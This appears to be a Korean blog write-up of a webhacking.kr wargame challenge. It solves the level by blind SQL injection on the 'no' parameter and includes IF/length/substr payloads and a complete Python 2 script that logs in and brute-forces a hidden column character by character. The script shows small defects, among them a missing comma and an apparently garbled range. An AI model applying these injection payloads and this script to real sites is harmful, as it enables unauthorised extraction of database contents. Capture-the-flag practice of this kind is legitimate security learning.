위와 같이 1,2,3 번을 누른 화면이다. 파라미터로 no를 전달하며 no=3 일 때 힌트 페이지를 제공해준다.

데이터베이스 안에 칼럼은 id, no로 구성돼있고 11자리인 칼럼이 답인 것 같다.

URL에 no 칼럼이 보이니까 id 칼럼이 문제의 답이다. 


no 파라미터에 1,2,3 이외 숫자를 입력하면 Password 입력폼만 출력된다.

이것을 통해 참/거짓을 구분할 수 있고 Blind SQL 인젝션 공격을 할 수 있다.

2018/09/07 - [WEB Hacking/정리] - [MySQL] Blind SQL 인젝션 :: IF문



이전에도 이러한 비슷한 문제를 풀어서 no=IF(조건, 1,100)와 같이 참이면 no=1, 거짓이면 no=1000으로

쿼리문을 만들어 id 값의 정보를 얻을 수 있다.

2018/09/06 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 13번 Blind SQL 인젝션 equal bypass



no=IF( (length(id))IN(1),1,1000)

no=IF( (length(id))IN(2),1,1000)

no=IF( (length(id))IN(3),1,1000)

...

no=IF( (length(id))IN(5),1,1000)

no=1일 때 id 길이는 5이다.


no=IF((substr(id,1,1))IN(0x61),1,1000)

no=IF((substr(id,1,1))IN(0x62),1,1000)

...


no=1일 때 id 는 Apple이라는 것을 얻었다.

그럼 분명 no=2일 때 id는 Banana일 것이고 no=3일 때 id가 이 문제의 답이라는 것을 추측할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "<b>Secret</b>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'PASSSWORD'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#   password length   
#    ex) no=IF((length(id))IN({}),3,1000)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-09/index.php?"
 
for i in xrange(1,50):
    injectParams = "no=IF((length(id))IN({}),3,1000)".format(str(i))
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
pw_len = i
print "password length :" + str(pw_len)
 
 
##################################################################
#    password string 
#    no=IF((substr(id,{},1))IN({}),3,1000)
##################################################################
count=1
password = ""
for i in xrange(1, pw_len+1):
    for j in xrange(65127):
        # injectParams = "no=IF((substr(id,{},1))IN({}),3,1000)".format(str(i), hex(j))
        injectParams = "no=IF((substr(id,"+str(i)+",1))IN("+hex(j)+"),3,1000)"
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
            break
        else:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
 
    password += chr(j)
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs



+ Recent posts